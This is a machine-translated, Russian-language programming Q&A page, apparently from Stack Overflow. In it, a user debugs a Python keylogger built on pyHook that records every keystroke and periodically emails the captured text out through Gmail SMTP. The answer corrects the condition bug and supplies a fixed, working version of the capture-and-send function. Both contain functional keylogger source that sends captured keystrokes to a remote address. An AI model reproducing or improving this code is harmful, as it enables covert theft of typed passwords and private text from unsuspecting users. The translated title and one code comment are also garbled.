2014-10-23 2 views
0

Я играл с библиотекой pyHook, и я решил посмотреть, могу ли я сделать регистратор ключей.Текст, преобразованный в китайский при отправке текста в python

Проблема в том, что, когда я пытаюсь сохранить этот текст в файл или отправить его к себе, половину времени он получит преобразованы в нечто подобное

I⁡ 洠 獥 湤 楮 朠 浹 獥汦 ⁡ 渠 敭 慩 氠 癩 愠 愠 步

Когда я печатаю текст, он выглядит хорошо. Но я столкнулся с этим как при сохранении текста в текстовом файле, так и при отправке его по электронной почте.

import pyHook 
import pythoncom 
from re import sub 
#Module for emailing out captured text 
from Emailer import MakeEmail 
#Global variable that will hold the captured text in-between emails 
captured = '' 

SMTP_server = 'smtp.gmail.com' 

username = '[email protected]' 

passwd = 'password' 

destination = "[email protected]" 

email = MakeEmail(SMTP_server, destination, username, passwd, "Key Logger output", "") 

def onKeyboardEvent(event): 
    global captured 
    if event.Ascii == 5 or not isinstance(event.Ascii, int): 
     _exit(1) 
    if event.Ascii != 0 or 8: 
     captured += unichr(event.Ascii) 
     if len(captured) > 30: 
      print captured 
      email.content = sub("\ \ *", " ", captured) 
      email.send_email() 
      captured= '' 

hm = pyHook.HookManager() 

hm.KeyDown = onKeyboardEvent 

hm.HookKeyboard() 

pythoncom.PumpMessages() 

Я не могу сделать головы или хвосты этой ошибки.

+2

Заметим, что 'если event.Ascii = 0 или 8: 'должно быть' if event.Ascii! = 0 и event.Ascii! = 8: 'или, может быть,' if event.Ascii не в {0, 8}: ' – iCodez

ответ

0

Как @iCodez отметил, строка 23 должна была быть записана в виде:

if event.Ascii != 0 and event.Ascii != 8: 

Вот фиксированная версия функции on_keyboard_event:

def on_keyboard_event(event): 
    """Function is called everytime a key is pressed 
    to add that key to the list of captured keys""" 
    global captured 
    if event.Ascii == 5 or not isinstance(event.Ascii, int): 
     _exit(1) 
    if event.Ascii != 0 and event.Ascii != 8: 
     captured += unichr(event.Ascii) 
     captured = sub(" *", " ", captured) 
     if len(captured) > 99: 
      email.content = captured 
      email.send_email() 
      captured = '' 
Смежные вопросы